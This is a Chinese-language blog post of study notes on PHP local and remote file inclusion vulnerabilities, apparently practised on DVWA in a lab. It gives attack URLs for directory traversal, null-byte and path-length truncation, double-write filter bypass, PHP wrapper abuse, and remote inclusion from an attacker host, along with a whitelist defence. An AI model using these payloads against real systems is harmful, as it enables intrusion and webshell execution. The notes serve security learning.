文件包含学习笔记(PHP)

  文件包含包括本地文件包含和远程文件包含,当文件上传检测比较严密时(无法直接上传可执行脚本),可先上传一个非可执行脚本(如图片和文档),在其中包含着webshell,然后将其进行文件包含,使其中的webshell能够被当做脚本执行。

  如果直接访问包含着webshell的文本或图片,webshell文件就只会被当做静态文件展示出来。

 

一、漏洞检测

如何检测一个网站是否存在文件包含漏洞

1、白盒  代码审计

2、黑盒  漏扫工具

       公开漏洞(如果网站使用了cms可以查找该文章管理系统是否存在已知漏洞)

       手工看参数值即功能点(文件包含的特征)

二、包含类型

本地包含:只能包含本地文件,也可以利用日志写入之类的技巧。

远程包含:可以包含其他网站的文件,因为可以自己构造文件所以危害比本地包含更大。

无限制:可以包含任意类型文件,对所包含的文件没有任何过滤和限制。

有限制:对要包含的文件有一定过滤措施,需要用特殊方法绕过。

三、本地包含

无限制举例:如图,代码直接包含了参数page,无任何过滤

 

 

 

http://192.168.9.140/include.php?filename=1.txt  txt文件将被当做脚本文件执行

http://192.168.9.140/include.php?filename=../../../www.txt  可目录穿越包含其他路径的文件

下图为包含了文件上传的文件,执行了代码<?php echo 'H2O';?>

 

 

 

有限制举例:

1、限制文件后缀名

下图中代码在文件后强制加上了.html的后缀,意为:只能包含后缀名为.html的文件,因为在相应目录下找不到对应文件名的.html文件(上传的是.txt文件),文件包含失败。

绕过方法:

(1)%00截断:条件:magic_quotes_qpc=off  php版本<5.3.4

filename=../../../www.txt%00

(2)长度截断:条件:Windows点号需要长于256;Linux长于4096

url长度超过规定长度时,.html后缀就加不上去了,还是会寻找后缀为.txt的文件。

/./././././././././././././././././././.或者...........................

 虽然文件名后缀过滤可以被绕过,但如果攻击者看不到源码的话,也会对其攻击造成一定阻碍。

 

2、下图,medium过滤../、..\、http://、https://

 

 

 

 同low关卡使用相同的url包含文件会报错

 

 

 双重写入绕过过滤

 

 

3、high如果page参数既不是以file开头,也不是include.php,则包含失败。

 

 

 我们可以使用伪协议file://来进行文件包含,不过需要被包含文件的绝对路径

 

 

 这还有另外一种方法,利用php的一种特性,具体见:(19条消息) dvwa v1.10 文件包含high级别的一个思路_zhangzhuangtongxue的博客-CSDN博客

 构造一个名称为file开头的不存在的目录进行文件包含

 

 

 

4、impossible使用了枚举法,无法被绕过

代码的意思是:只要被包含文件不是include.php、file1.php、file2.php、file3.php四者之一,就不允许包含,杜绝了文件包含漏洞。

 

 

 

四、远程包含

  是否能远程包含取决于两点,allow_url_include是否为on,代码中是否限制只能包含本地文件。allow_url_include设置可以在phpinfo页面看到。

无限制:

http://192.168.9.140/include.php?filename=http://192.168.9.100/readme.txt

有限制:(过滤文件后缀)

http://192.168.9.140/include.php?filename=http://192.168.9.100/readme.txt%23 (%20或?也可)

 

在DVWA上尝试远程文件包含

攻击机:192.168.9.122

靶机:192.168.9.151

在攻击机的一个发布网站下放一个名为include_test的txt文件。

 

在靶机将此文件进行远程包含,php代码被成功解析执行。

 

 

 

五、利用伪协议

 

 

 

 

1、file://协议

 

2、php://filter

 

 将内容进行base64解码即可看到1.php内容

 

 

 3、php://input

 

4、data://

 

5、http:// 和 https://  通常用于远程文件包含

 

posted @ 2021-07-28 22:17  H2OH2OH2O  阅读(77)  评论(0)    收藏  举报